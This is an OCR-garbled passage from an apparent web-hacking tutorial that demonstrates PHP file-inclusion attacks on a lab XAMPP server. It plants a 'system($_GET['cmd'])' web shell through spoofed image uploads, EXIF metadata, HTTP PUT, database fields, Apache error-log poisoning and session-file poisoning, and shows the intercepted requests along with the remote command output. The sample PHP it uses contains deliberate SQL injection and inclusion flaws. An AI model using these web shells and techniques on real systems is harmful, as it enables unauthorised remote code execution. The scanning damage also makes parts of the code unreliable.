P2l Fed [ (5] [rpe e seorniom



modify the mime type to an accepted one:

1 Burp Suite Free Edition v1.5

Burp Intruder Repeater Window Help

Target | FProsy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Opticns T Alerts ]

J Intercept T History T Options 1

Request to hitp://192.168.168.101:8888

[ Forward J [ Drop J f Intercept is on ] Action [Comment thiz item
I A

()
m

POST Juploadd4d/upload. php HTTP/L.1

Aocept: image/gif, image/x-wbitmap, image/Jjpeqg, image/pipeg, application/x-ms-application,
application/vnd.ms—xpsdocument, application/xaml+xml, application/x-ms-xhap, */*

Beferer: http://192.168.162. 1012288/ uploadd/upload. html

Accept-Language: en-us

Content-Type: multiparc/form-data; boundary=——————————————— TJdeldalcZel4h4
UA-CPU: xB8E

hoecept-Encoding: gzip, deflate

User—-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT £.0; SLCCLl; .WNET CLE Z2.0.50727;:
LWET CLER 3.0.30728; .MNET CLE 3.5.30728; .NET4.0C; .MET4.0E)

Proxy-Connection: EKeep-Alive

Content-Length: 358

Host: 19Z.168.168.101:8888

Fragma: no-cache

————————————————————————————— Tdeldalcleld4hd
Content-Disposition: form-data; nams="MAX FILE SIVE"

loooooo

————————————————————————————— Tdel4alcZeldhd
Content-Disposition: form-data; name="uploadedfile™; filename="C:'bhackdoor.png'™

Content-Type: imagefrng

hopefully the upload is successfull now:

(_:; http://192.168.168.101:8888 fupload4 fupload.php - Windows I
@?; - |g http: /{192, 165. 168, 101:8335 /upload4/upload . php
U8 @F (@ http://192. 168. 168. 10 1:8888/upload4/upload.php

The file backdoor png has been uploaded

next

Now we can try to call the uploaded backdoor on the usual way:

http://192.168.168.101:8888/upload4/rfi.php?
command=uploads/backdoor.png&cmd=dir

now we have a quite bas suprise:



/7 http:/ /192.168.168.101:8888 [upload4 /rfi.php?command=uploads/backdoor.

E:: - IE' .168.168.101:3888!up|oad4,.’rﬁ.php?mmmand=up|oadsfnad<door.png&md=dir|j |E||E|

U9 4 @ http://192. 168, 168, 101:3858 upload4/rf.php2comm. . |

| g

i}

GUFD SUre Free Ed

0N v

Now when the server sends the png, and because of the correct header the browser does not show it us,
it tries to show the answer as image, not as text, what will not be good. What we can do? The answer is
simple, we should use a proxy, and intercept the server response, to watch it there. To do it set up the
proxy, to intercept the server response, take care to intercept not only the text response like the default
setting of practically all proxy:

Burp Intruder Repeater Window Help

?

@ Intercept Server Responses

tercept responses based on the following rules:

WMzsfer infemaention iz fum
SEle Herme o Z [Lime

[] Automatically update Content-Length header when the request is edited

@ Use these settings to control which responses are stalled for viewing and editing in the Intercept tab.

[ Add J ibled | Operator | Match type Relationship Condition
. ] Content type Matches text
Edit O Or Request Was modified
O Or Request Was intercepted
Remove ] And Response code Does not match *3043
O And URL Is in target scope
v |

then try to reload it, and hopefully we will se in the proxy the answer:



“4) Burp Suite Free Edition v1.5

Burp Intruder Repeater Window Help

Target | Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer Tﬂlptinnﬁ T Alerts ]

_[ Intercept THlEth.r ]' Dp‘tlnnﬁ]

Response from http://192.188.188.101 :B888/upload4/fi. php?command=uploads'backdocor. png&omd=dir

l Forward J [ Drop J [ Intercept is on ] Action

_[ REI'!I'THBEI.dEI’E Tl-lex Tﬂenda ]

HTTE/1.1 Z00 OK

Date: Sun, 05 Jan Z014 13:3Z2:3g GHNT

Server: Apache/2.4.4 (Win3Z) OpensSLS/1.0.1l= PHF/5.5.3
¥-Powered-EBv: PHP/5.5.3

Content-Length: £g7
Content-Type: texXt/html

=PHG

O

Volume in drive C has no label.
Volume Serial Mumber is 18BC-1DCF

Directory of C:\xamppihtdocs\upload4

01/04/2014 01:03

01/04/2014 01:03 PM

06/23/2011 01:02 PM

06/23/2011 01:03 PM 69 listusers.php

01/04/2014 11:16 AM 285 rfi.html

06/26/2011 02:03 FM 88 rfi.php
PH
M
BM

2

<DIE>
<DIR= .
T3 adduser.php

01/04/2014 01:42 446 upload.html
01/04/2014 01:46 1,004 upload.php
01/05/2014 05:17 <DIR=> uploads

EBENENIES

Use the exif of a real picture

If someone does better check on the pictures, then this solution may not be good. In this case we can
modify the exif of a real picture, and our shellcode there. For this one can use the exiftool, what can be
downloaded from: http://www.sno.phy.queensu.ca/~phil/exiftool/

then we can use for example following command:
exiftool.exe -author="<?php system($ GET['cmd'])?>" flower.png
if we upload the picture on the same way like before, and call it as:

http://192.168.168.101:8888/upload4/rfi.php?
command=uploads/flower.png&cmd=dir


http://www.sno.phy.queensu.ca/~phil/exiftool/

Then in the response with a proxy we will see the answer:

-loix]

Burp Intruder Repeater Window Help

[ Tanget T Proscy T Spider T Scanner T Intruder T Fepeater T Sequencer T Decoder T Comparer T Opticns T Alerts ]

J Intercept T Histony T Options ]

Response from httpoi192.188.188.101:8888/upload4irfi.php?command=uploads/flower. png&omd=dir

[ Forward J l Crop J [ Intercept is on 1 Action |:| == ?
JRMTHBH.dEIS THEK Tﬂenda 1
O, "IBIVKr:UTU+@eci*ulgeal’ ; * U#. /-1 OYEng . g0 wpiir * ' vETyAOSs  LEkri-Ao-«xgE[y5 ,0O0k0,, ]
O}e00"v*z<Se) Vwr0{ 0" su°« U8 "rth ‘B=/" " f vOyz~uPO0Td+k e sO0 IGCHpEZ74: IP¥FQ" avé( isG50" Bx -
O0¢0G-00 *O=EYHS &) ™OBOPOS A0bAHE § (bOUOO0+ bi'Xi O'OHIMLOLEd+E
i0*aanU®y-Z-yOn [AT10N_ wH0 (30M=0& >aifa] *¥0d2p*E0
0., ' *ewgEE ‘06—zt FRO+0
wi0; AT OdOf/ © . .pS3U<O00#cEXcAuthord Volume in drive C has no label.
Volume Serial MNumber is LEEC-1DCF
Directory of C:'®ampp'htdocs'uploadd
0l/04/2014 01:03 PH <DIE>
01/04/2014 01:03 FM <DIE> .
06/23f2011 01:02 PH 73 adduser.php
06/23f2011 01:03 PH 69 listusers.php
01/04/2014 11:16 AM 285 rfi.html
06/26/2011 02:03 PM 88 rfi.php
01/04/2014 01:42 PH 446 upload.html
01/04/2014 01:46 PH 1,004 upload.php
01/13/2014 06:26 AM <DIE> uploads
6 File(s) 1,965 bytes
3 Dir(s) 19,825,491 ,968 bytes free
ég—SO000IENDEB -,
.|

of course again in the browser the picture is broken:

& o http://192.168.168.101:8888 fupload4 [ rfiphp?command=uploads | flower.

@;s - Igﬂ : . load4rfi. php?oommand =u

U9 @A @ http://192. 168,168, 101:8888 upload4/rfi.php2comm. .

]




Use the PUT method in HTTP to upload

There is another way to upllad. The PUT method in HTTP enables to upload a file to the server. By
default this method not used to be enabled. First let us see, how to enable it:

edit the httpd.conf file, and

ADD The next block to the end of the directories definition (of course change the path as you need):

<Directory "/xampp/htdocs/put">
AllowOverride All
Dav On
<Limit GET HEAD POST PUT OPTIONS DELETE>
Order Allow,Deny
Allow from all
</Limit>
</Directory>

And uncomment the following lines:

LoadModule dav _module modules/mod dav.so
LoadModule dav_fs module modules/mod dav fs.so
LoadModule dav_lock module modules/mod dav lock.so
Include conf/extra/httpd-dav.conf

Then restart the apache server.

To use the PUT method to upload a file the easiest is to use a proxy, and catch a GET method, and
change it to PUT.

So start your favourite roxy, and open the webpage where you can upload by PUT:

,I’f' Welcome to Tabbed Browsing - Windows Internet Explorer

e i—"

= |g, Attp://192. 168, 168, 101:8838 jput/

el

ﬂ? 'f'.;f u,;JCnnnecting... |

——| You've opened a new tab

check the proxy:



i Burp Suite Free Edition v1.5

Burp Intruder Repeater Window Help

Target | Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Options T Alerts ]

J Intercept T Histony T Options ]

Request to hitp://182.168.168.101:8888
l Forward J l Drop J [ Intercept is on ] Action Comment thiz ifem
1I™rrm

m
3

GET /put/ HTTP/L.1

Aocept: image/gif, image/x-xbitmap, image/Jjpeg, image/pipeg, application/x-ms-application,
application/vnd.ms—-xpsdocument, application/xaml+xml, application/x-ms—-xbap, */*
Accept-Language: sn-us

TA-CPU: xBE

Aoccept-Encoding: gzip, deflate

User—-Agent: Mozilla/4.0 (compatible; M3IIE 7.0; Windows NT £€.0; 3LCCLl; .NET CLE Z.0.507IZ7:
LMET CLER 3.0.30729; .NET CLE 3.5.30729; .MNET4.0C; .MNET4.0E)

Host: 192.165.1FE8.101:3888

Froxv-Connection: Keep-Alive

And change as follows:

change the method to PUT (the HTTP methods are case sensitive so the PUT method is capital)
give some filename

delete all line from the header EXCEPT the Host: ... (if you use HTTP/1.0 instead of HTTP/1.1 then
you can deleta that line too)

then add the backdoor.php code

‘I Burp Suite Free Edition v1.5

Burp Intruder Repeater Window Help

[ ngetT Frozy T Spider T Scanner T Intruder T Repeater T Sequencer T
J Intercept T History T Options ]

Request to http://182.168.188.101:8888

[ Forward J l Drop J I' Intercept is on -I Action
(o venoem | vex )

PUT /put/backdoor.php HTTP/1.1
Host: 192.1&68.168.10L:8888

<?php systemi$_GET["cmd"] ] P>

the upload always take a while. If you do not get an error message:



ff http:/f192.168.168.101:8888 /put/ - Windows Internet Explorer
T

U8 9 @ http://192.168, 158, 101:8538 put/ |

'\____,.»"'

then you can try the backdoor.

£~ http://192.168.168.101:8888 put/backdeor.php?cmd=dir - Windows - |58] x|
@3 hd |g, http: /192, 168, 168. 101:3888 jput/backdoor . php?cmd =dir j +4 || XK ILi-_-E Search Yo liE3
W ke {'éhtn::ﬂlgz.ms.lss.ml:ssssfpunfbadcdoor.php?md...| | f3 -~ B - o= - :bPage - () Tooks + 7

Volmme in drive C has no label. Volime Serial Number is 188C-1DCF Directory of C-xampp'htdocstput 01/05/2014 05-58
AM

.01/05/2014 05:58 AM
.- 01/05/2014 05:58 AM 28 backdoor.php 01/05/2014 02:43 AM 699 index.html 2 File(s) 727 bytes 2 Dir(s)
20.286.681.088 bytes free

Include database file

Another possibility is to include the database file. On most webpages it is possible to write some
description, comment or whatever to your user profile. It can be used, to upload your shellcode. Simply
write it there, and include the database file itself. Again it will work, because the PHP does not take
care most of the binary data.

To try it we will use the following example application. There is an uploaddb.html, with the following
content:

CREATE new user:

<br>

<br>

<form method="POST" action="uploaddb.php">

id: <input type="text" name="id" />

<br>username: <input type="text" name="username" />
<br>password: <input type="password" name="password" />
<br>comment : <input type="text" name="comment" />
<br>level : <input type="text" name="level" />
<input type="submit" value="create user"/>

</form>

it creates a form, to enter the user data. And calls the uploaddb.php:



<?php
$link = mysgli connect('localhost', 'web', 'P@sswOrd','a') or

die ('Could not connect: ' . mysqgli connect errno());

Squery = '"INSERT INTO tbll (id, username, password, comment, level)
values ("' . $ pOST["id"] . '", "' . § POST["username"] . '", "'

$ POST["password"] . '", "' . $ POST["comment"] . '", "'

$ POST["level"] . "");';

$result = mysqgli query($link, Squery);
1if (!Sresult) {

die('Error: ' . mysqgli error($link));
}

echo 'record added<br>"';

echo '<a href="rfi.html">next</a>"';
mysgli close($1link);

>

Yes, this php code contains an SQL injection vulnerability too, but now we deal with the LFI/RFI
problem, so forget about that.

Now let us try to use it. First open the uploaddb.html, and fill it. One field should contain the PHP
shellcode, now the comment:

(_'.:' http://192.168.168.101:8888 /uploaddb/upleaddb.html - Windows Interne
Pm—

)~ |&] http://192. 168. 168. 101:8888uploaddb uploaddb. him| =[x ||

Ll

W ke @htq::mgz.laa.lsa.m1:aasa;upuaaddb;upluaddb.hm|| | a

CREATE new user:

id: |99

uﬁmnmmeJqWEﬁ

pasgwgrd_- Il-l-l-l-l-l-l-l-

comment ;|=‘-‘?php system($_GET[cmd])?=
level |991 create user




hopefully the data added to the database:

/7 http:/ /192.168.168.101:8888 /uploaddb/uploaddb.php - Windows Internet Explorer

6@ - IE, http: /f192. 168, 163. 101: 85388 /uploaddb /uploaddb. php
{} ﬂﬂi’ @htu:l:Hl'EIE.168.168.lUl:BBBSIupIuaddbfupluaddb.php | |

record added

next

Now use the next button, to fire the RFI/LFI vulnerable site:

/7 http:/ /192.168.168.101:8888 [uploaddb/ rfLhtml - Windows Internet Ex

6{—; - Iﬁ, http: /192, 168, 168, 101:8385 fuploaddb//rfi.html

U¢ 4 @ hitp://192.168. 168 101:8888/uploaddb/r . himl | |

Example, to upload file, without anv extension check

IIistusers 'I Submit Query

And if we call the RFI it hopefully going to work.
http://192.168.168.101:8888/uploaddb/rfi.php?command=data/a/tbl1.MYD&cmd=dir



ﬂ" http:/f192.168.168.101:8888 fuploaddb/ rfi.php?command=dz _|ﬁ||i|
@ ) = |&] http://192. 168. 168. 101:8888/uploaddb /i fi.php?command=data/a/tbl1.MYD&cr 7| | #3 || X | [Live Search 2|~

{? ahy & http://192. 163. 168. 101:8888 /uploaddbrfi.php?com. ..

| T’:}" 'r--J'l'_':\,l’PaQE"::"\"TOdSv»

Warning: Unexpected character in input: '+ ' (ASCII=T) state=0 in C:\xampp'htdocs'uploaddb\data‘a'tbl1.MYD on line 1
Warning: Unexpected character in input: ' in C:\xampp\htdocs'upleaddb\data‘\a\thl1. MYD on line 1

Warning: Unexpected character in input: '4 ' (ASCII=17) state=0 in C:'\xampp'htdocs'uploaddb'data\a‘tbll.MYD on line
1

L' b 4 name' pass] firstuserlevel 1 ' *; by - second’ pass!| second userlevel 27 L (p' | third' pass] third user level
3t p' | name2! pass!l fourthuserlevel 1 L *q p| # second2! pass! fifth user level 27 )b~ — third2” pass] sixth user
level 3L | 42 @bc| qwertl P@sswird=

Notice: Use of undefined constant cmd - assumed 'cmd' in C:'xampp'htdocs\uploaddb'datalaithll. MYD on line 1
Volume in drive C has no label. Volhime Serial Number is 188C-1DCF Directory of Cxampp'htdocs'uploaddb 01/13/2014
05-15 AM

C01/13/2014 05:15 AM
- 06/23/2011 01:02 PM 73 adduser php 01/13/2014 0515 AM
data 06/23/2011 01:03 PM 69 listusers php 01/04/2014 11:16 AM 285 fi html 06/26/2011 02:03 PM
88 ofi php 01/13/2014 04-58 AM 371 uploaddb html 01/13/2014 03:40 AM 521 uploaddb php 6 File(s)
1,407 bytes 3 Dir(s) 19.844,141.056 bytes free ¢

But in many cases we just simply do not have any upload possibility at all. What to do then?

Apache log poisoning

=

We need some area where we can upload the shellcode. But now we have only a local file inclusion, so

how to upload a file? One wildely used technoque is to "upload" our shellcode to the error log. To do
this first we try to open for example the following webpage:

http://target.page/<?php system($ GET["cmd"]) ?>

obviously there will not be file called as <?php system($_GET["cmd"])?> on the server. So what will

do the server in this situation? It will write to the error.log file there is no file called <?php
system($ GET["cmd"])?>. So this line appears in the error log. It means, if we can include the error
log, the php code will run for us.

One should take care thet, the < used to be change to %3C and space used to be change to %20 by the

browsers, we should avoid it, for example by using a proxy to change back.

The error log before the log poisoning:


http://target.page/

ﬁ‘ C:\xampp\apache\logs\error.log - Notepad++ - |5’ |1|

File Edit Search View Encoding Language GSettings Macro Run  Flugins  Window ? X
| cOHE s BldmD|(2e(mih|ts|EE(51[ED CEEDEBE &Y

= amdngl
1 [Sat Jan 04 07:30:03.139073 2014] [=sl:warn] [pid 1596&6:tid 220] AHO01909: R5A certificate
configured for www.example.com:443 does NOT include an ID which matches the server name
[Sat Jan 04 07:30:03.429491 2014] [core:warn] [pid 15%6:tid 220)] AHOOOS98: pid file
C:/xampp/apache/logs/httpd.pid overwritten -- Unclean shutdown of previcus Apache run?
[Sat Jan 04 07:30:04.270700 2014] [ssl:warn] [pid 1596:tid 220] AHO1909: RS54 certificate
configured for www.example.com:443 does NOT include an ID which matches the server name
4 [Sat Jan 04 07:30:04.470988 2014] [mpn winnt:notice] [pid 1596:tid 220] AHO0455:
Lpache/2.4.4 (Win32) OpenS55L/1.0.1e PHPF/5.5.3 configured —- resuming normal operations
5 [Sat Jan 04 07:30:04.470588 2014] [mpm winnt:notice] [pid 1596:tid 220] AHO0456: Server
built: Feb 23 2013 12:42:00
& [Sat Jan 04 07:30:04.4709%988 2014] [core:notice] [pid 1586:tid 220] AHOO0C094: Command line:
'or\\xampph\apachel\bin\\httpd.exe -d C:/xampp/apache’
7| [Sat Jan 04 07:30:04.491017 2014] [mpm winnt:notice] [pid 1596:tid 220] AHOO0418&: Parent:
Created child process 3964
[Sat Jan 04 07:30:06.273580 2014] [ssl:warn] [pid 3964:tid 236] AHO1909: REA certificate
configured for www.example.com:443 does NOT include an ID which matches the server name
9 [Sat Jan 04 07:30:07.595481 2014] [ssl:warn] [pid 3964:tid 236] AHO1S909: RS54 certificate
configured for www.example.com:443 does NOT include an ID which matches the server name
10 [Sat Jan 04 07:30:07.875884 2014] [mpm winnt:notice] [pid 3964:tid 236] AHO0354: Child:
Starting 150 worker threads.

%]

L

Then we call the target URL:

/= Blank Page - Windows Internet Explorer

| v |g, http://192. 168, 163. 101:8388) < ?php system(§_GET["emd )7

" T
= —

e

"i:}' E Blank Page | |

Remember, to intercept it by a proxy:



-lmix

Burp Intruder Repeater Window Help

[ Tanget T Proscy T Spider T Scanner T Intruder T Fepeater T Sequencer T Decoder T Comparer T Opticns T Alerts ]
J Intz=rcept T Histony T Options ]

Request to http://192.168.168.101:8888

L Forward J l Drop J [ Intercept is on 1 L Action J Comment thiz item == ?
JRMTF"mams IHBEHES IHEX]

FET /%3C?php%Z0system|§ _GET["cmd"] ) ?> HTTP/1.1 A
Accept: image/gif, image/x-xbitmap, images/Jjpeg, images/pipedy, application/x-ms-application, -

application/vnd.ms-®psdocument, application/xaml+xml, application/x-ms-xhap, */*
Locept-Language: en-us

TA-CPU: xBE

Aoecept-Encoding: gzip, deflate

User—-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT &.0; SLCCLl; .NET CLE 2.0.50727;
NET CLE 3.0.30725; .NET CLE 3.5.30729; .NET4.0C; .NET4.0E)

Host: 192.1e8.1gE.101:8888

Proxy-Connection: Eeep—-Alive

and change back the URL encoded characters:



" Burp Suite Free Edition v1.5

Burp Intruder Repeater Window Help

Target | Promy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Options T Alerts ]

[Luntes

Request to http://192 188 168 .101:8888

|  Foward || Drop | [ - | Action Comment thiz it
™= rarm

m
3

GET /<7?php bystem($_GET["cmd"]]?> HTTP/L.1

Locept: image/gif, image/x-xbhitmap, image/Jjpeg, image/pipeg, application/x-m=-application,
application/vnd.me-xpadocument, application/xaml+xml, application/x-m=-xbap, */*
Aocept-Language: en-us

TA-CPU: =EBE

Aocept-Encoding: gzip, deflate

Uzer-Agent: Mozillas4.0 (compatible; MSIE 7.0; Windows NT £€.0; SLCCL; .MNET CLE Z.0.50727:
MET CLE 3.0.30729; MET CLE 3.5.30729; .NET4.0C; .MET4.0E)

Host: 19Z.168.16E.101:8888

Proxy-Connection: EKeep-Alive

Then send it. We get some error message like:

Access forbidden!

You don't have permission to access the requested object. It is efther read-protected or not readable by the server.

If vou think this is a server error, please contact the webmaster.

Error 403

192.168.168.101
Apache/2 4.4 (Win3l) OpensSL/A.0.1e PHP/3.5.2

It is just fine, because we wanted to write to the error log. Now if you check the error logs again it
looks like as:



&' C:\xampp\apache\logs\error.log - Notepad+ + - IE Iﬁl
File Edit Search View Encoding Language Settngs Macro Run Plugins  Window ? X

| cEHE 5 cB|smWmkIe|iits[BE

ENEQ | BED®E| e

log |

[~ emar

5%

[¥3]

[Te])

Now 1

|[Sat Jan 04 07:30:03.139073 2014] [ssl:warn] [pid 15%6:tid 220] AHD1909: RSA certificate
configured for www.example.com:443 does NOT include an ID which matches the server name
[Bat Jan 04 07:30:03.429491 2014] [core:warn] [pid 1596:tid 220] AHOOO098: pid file
C:/=xampp/apache/logs/httpd.pid overwritten —-- Unclean shutdown of previous Apache run?
[Sat Jan 04 07:30:04.270700 2014) [==l:warn] [pid 15%6:tid 220] AHO1909: RSA certificate
configured for www.example.com:443 does NOT include an ID which matches the server name
[Sat Jan 04 07:30:04.470988 2014] [mpm winnt:notice] [pid 1596:tid 220] AHOO455:
hpache/2.4.4 (Win32) OpenSS5L/1.0.le PHP/5.5.3 configured -- resuming normal operations
[Sat Jan 04 07:30:04.470988 2014] [mpm winnt:motice] [pid 1596:tid 220] AHO0456: Server
built: Feb 23 2013 12:42:00

[Sat Jan 04 07:30:04.470988 2014] [core:notice] [pid 159%9&6:tid 220] AHOO0O0S%94: Command line:

"o\ xampph\apache\\bin\\httpd.exe -d C:/xampp/apache’

[Sat Jan 04 07:30:04.491017 2014] [mpm winnt:notice] [pid 1596:tid 220] AHOO0418: Parent:
Created child process 3964

[Sat Jan 04 07:30:06.273580 2014) [==l:warn] [pid 3%964:tid 236]) AHO1909: RS54 certificate
configured for www.example.com:443 does NOT include an ID which matches the server name
[Sat Jan 04 07:30:07.595481 2014) [==l:warn] [pid 3%964:tid 236]) AHO1909: R5A certificate
configured for www.example.com:443 does NOT include an ID which matches the server name
[Sat Jan 04 07:30:07.875884 2014] [mpm winnt:notice] [pid 3964:tid 236] ARHOO0354: Child:
Starting 150 worker threads.

[Sat Jan 04 08:00:54.631388 2014) [core:error] [pid 3964:tid 1580] (20024)The given path
iz misformatted or contained inwvalid characters: [client 192.168.162.101:49578] AHOQOOD127:
Cannot map GET /<?php system($ _GET["cmd"])?> HITE/1l.1l to file

et us use the local file inclusion, to call the error.log file:

we use the URL:

http://

192.168.168.101:8888/rfil/rfi.php?command=..\..\apache\logs\error.log&cmd=dir

the command= parameter belongs to the rfi.php, contains the RFI/LFI vulnerability, and the cmd=
parameter will be used by the php shell

* Blank Page - Windows Internet Explorer 18| x|
m——
x-—\;,.".\-_/-: - |g M 168.168.101:8888,.'rﬁ1,.'rﬁ.php?command=..\,..\,apame‘l,logs‘n,error.lc:g&und=dirj &> || X ILi'-.-'e Search 2=
ﬂi’ ok @EIankPage | | @ - - EA - gPage - @TodSv »

we can see the result of the shellcode execution:



/= hittp://192.168.168.101:8888/rfil/rfiphp?command=..\.-\apac _13]

IE . 168, 168, 101:8838/rfi 1/rfi. php?command=..\, . \apache Yogs \error . log&omd =di j || X I_'.'E Search Fe

OF 4¢  @htip:/192.163. 168, 10 1:3888/rfi1jrfi.php2commands=... | | 5 - B - = - |-k Page - (C) Tools -

[Sat Jan 04 0730:03.139073 2014] [sskwarn] [pid 1596:td 220] AHO1909: RSA certificate confisured for
www.example.com:443 does NOT include an ID which matches the server name [Sat Jan 04 07:30:03 429491 2014]
[corerwarn] [pid 1596:tid 2201 AHO0098: pid file Co/xampp/apache/logs'hitpd pid overwritten -- Unclean shutdown of
previous Apache run? [Sat Jan 04 07:30:04.270700 2014] [sslwarn] [pid 15961id 220] AHD1909: ESA certificate
configured for www._example.com:443 does NOT include an ID which matches the server name [Sat Jan 04 07:30:04 470088
2014] [mpm_winntnotice] [pid 159614id 220] AH00455: Apache/2 4 4 (Win32) OpenSSL/1.0.1e PHP/5 5 3 configured --
resuming normal operations [Sat Jan 04 07:30:04 470988 2014] [mpm_winntnotice] [pid 1596:tid 220] AHO0456: Server
built- Feb 23 2013 12:42:00 [Sat Jan 04 07:30:04.470988 2014] [coremnotice] [pid 1596:td 220] AH00094: Command line:
'c\xampp'\apache!\bin'\hitpd exe -d C-/xampp/apache’ [Sat Jan 04 07-30:04 491017 2014] [mpm_winntnotice] [pid
15964id 220] AHO0418: Parent: Created child process 3964 [Sat Jan 04 07:30:06.273380 2014] [sskwarn] [pid 39644d
236] AHO01909: RSA certificate configured for www.example com:443 does NOT include an ID which matches the server
name [Sat Jan 04 07-30:07 595481 2014] [sslwarn] [pid 3964+id 236] AHO1909- RSA certificate configured for
www.example com:443 does NOT include an ID which matches the server name [Sat Jan 04 07:30:07 875884 2014]
[mpm_winntnotice] [pid 39644id 236] AH00354: Child: Starting 150 worker threads. [Sat Jan 04 08:00:54. 631388 2014]
[corererror] [pid 39644id 1580] (20024)The given path is misformatted or contained invalid characters: [client
192.168.168.101:49578] AHO0127: Cannot map GET / Volume in drive C has no label. Volume Serial Number is 188C-
1DCF Directory of Cxampp'htdocs'«fil 01/04/2014 04:59 AM

. 01/04/2014 04:59 AM
.. 06/23/2011 12:47 PM 37 aphp 06/23/2011 01:02 PM 73 adduser php 06/11/2007 11:53 AM 46 index html
06/23/2011 01:03 PM 69 listusers php 06/23/2011 01:13 PM 221 fi html 06/26/2011 02:03 PM 88 rfiphp 6
File(s) 534 bytes 2 Dir(s) 20,289,531,904 bytes free HTTP/1.1 to file

Session poisoning

Another commonly used attack vector is through the session files. The php stores it in the tmp
directory, and the name of the file can be easily predicted. The file name will start with the name sess_
string, then comes the PHPSESSIONID, what can be read of course by a proxy. To try this
vulnerability we will have three php files:

the first one called by the user is the myindex.php:

<?PHP
session start();
if (isset($ _SESSION["auth"])) {
header ('Location: myinternal.php');
}
?>
<form name="mylogin" method="POST" action="mylogin.php">
Username:
<input name="my user" type="text" />
Password:
<input name="my password" type="password" />
<input type="submit" value="Login" />



it checks, if the session is already authenticated. If yes, then redirects the user to the myinternal.php
website.

If not authenticated, then draws a simple login form, and the user input data will be sent to the second
file: mylogin.php

<?PHP
session_start();
function domysgllogin () {
Susername = mysql escape string($ POST["my user"]);
$password = mysqgl escape string($ POST["my password"]);
mysqgl connect ("127.0.0.1", "web", "P@sswOrd")or die("cannot
connect") ;
mysql select db("a")or die("DB not found");
Ssgl = "SELECT COUNT (*) FROM tbll WHERE username='Susername' and
password="'S$password'";
$res = mysqgl query($sqgl) or die('WRONG USERNAME or PASSWORD');
$row = mysqgl fetch row(Sres);
if (Srow[0]) {
return 1;
} else {
return 0;

}

if (domysgllogin()) {
$ SESSION["auth"] = 1;
foreach ($ POST as Skey => Svalue) {
if ( substr(Skey, 0, 3) == 'my ' ) {
$ SESSION[Skey] = S$value;
}
}
setcookie ("user", $ POST["my user"], time()+3600);
header ('Location: myinternal.php');
} else{
header ('Location: myindex.php'):;
}
?>

this php checks, if the username and password against an SQL database, and if the login is successfull,
then adds to the session the my user, and my password parameters from the previous file. The
developer was a bit leasy, so it simply adds to the session every parameter with starts with the "my "
string. In this way it will be quite simple, to add to the session file any string we want (more exactly the
shellcode will be added here)

After the successful login it will redirect us to the myinternal.php:

<?PHP

session _start();

if (!isset($_SESSION["auth"])) {
header ('Location: myindex.php');



}
echo 'MyNote system: <br>';

if (isset($_COOKIE["user"])) {
echo 'Welcome ' . $ COOKIE["user"] . '<br><br><br>';

$file = "./" . $ COOKIE["user"];
if (file exists($file)) {
echo 'Your notes: <br>';
include (S$file);
} else {
echo 'You have no notes';

}
} else {
echo 'Cookie not set';

}
7>

this application checks if we are logged in. If not, then throws us back to the start page.

If we are logged in, then read the user parameter from the cookie, and read the file called on the same
name, and shows it to us. Again, it is a File Inclusion attack, just now not a parameter from the POST,
or GET method is used, but a parameter from the cookie. Because by a help of a proxy we can set the
cookie parameters to any value, there is no difference.

Now try to attack this application, first check, how we can use the Local File Inclusion vulnerability. To
do it just log on by a username and password.

,f_:; http://192.168.168.101:B8E8 [ session/ myindex.php - Windows Internet Ex

(& |&] http://192. 168. 168. 10 1:3888/session/myindex. php =] | #2 || =
UF @ @ http:/192. 168. 168. 10 1:3888 session myindex. php | | i
EEEﬂuﬂnalﬂamE Pasﬁxonil"" Login

After the login it prints the note belongs to your username:

f_:‘- http:/ /192.168.168.101:BE888 [ session /myinternal. php - Windows Inte

T |g, http://192. 165. 168, 101:8888 fsession/myinternal . php

ﬁ '-‘.ﬁ @htﬁ::ﬂlﬂllﬁ&.lﬁ&.ml:BBSSIsessjunfmyﬁnternal.php | |

MyNote system:
Welcome name

Your notes:

blablabla this is the note of user name blablabla




Now start your favourite proxy, and set up your browser, to use the proxy:

ff‘ http://192.168.168.101:B888 [ session /myinternalphp - Windows|
@—C—; - IE, http: /192, 168. 168. 101:5888ze=zsion/myinternal . php
File Edit Wew Favorites Help

Delete Browsing History. ..
0 4 @ htip://192. 168.1
'& te:dl Diagnose Conneckion Problems. .. |

MyNote system: Pop-up Blocker r

Manage Add-ons ¥

Subscribe to khis Feed, ..
Your notes: Feed Discovery b

blablabla this is the note o Windows Update

General I Semrih_rl Pﬁuaqu Content Connections |Prograrns| Advanced |

To set up an Internet connection, dick Setup |
Setup.

Dial-up and Virtual Private Metwork settings

add... |
addven... |
Eemave, .. |
Choose Settings if you need to configure a proxy Settings |
server for a connection.
% [ever dial & conmection
) Diallwhenever a netwark conneckion is not present
£ alvays dial my: default conmection
CUrrEnE Mane Set default |

Local Area Metwork (LAN) settings

LAM Settings do not apply to dial-up connections. LAM settings I
Choose Settings abowve for dial-up settings.

QK Cancel Gpply




Local Area Network (LAN) Settings

Then simply refresh the webpage:



! Burp Suite Free Edition v1.5

Burp Intruder Repeater Window Help

Target | FProsy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Opticns T Alerts }

J Intercept T History I Opticns ]

Request to hitp://182.188.188.101:8888

| Fowsrd || Drop | = Action [Comment this item
 [ow | porars | esaen | v |

[
i
5

GET /session/myvinternal.php HTTESL.1

Aogept: /W

Feferer: http://192.168.168.101:8888/session/myindex. php
Aoccept-Language: en-us

TL-CPU: =BE

Aocept-Encoding: gzip, deflate

User—Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT £.0; SLCCLl; .NET CLE 2.0.50727;
JIET CLE 3.0.30729; .MNET CLER 3.5.30728; .NET4.0C; .MET4.0E)
Froxy-Connection: Keep-Ailive

Host: L19Z.L1E8.L1lg8.10L1:8888

Fragma: no-cache

Cookie: user=name; PHPFSESSID=qineufldccOglhmiedrnls70t0

Modify the user parameter to ..\..\tmp\sess <PHPSESSID>:

i Burp Suite Free Edition v1.5

Burp Intruder Repester Window Help

Target | Proxy T Spider T Scanner T Intruder T Repester T Sequencer T Decoder T Comparer T Owptions T Alerts }
_[ Intercapt T Histony T Options ]

Request to http//192.188.168.101:8888

[ Forward J [ Drop J [ Intercept is on ] Action T
_[RmTF'alams THBE.{IEI’S THE::]

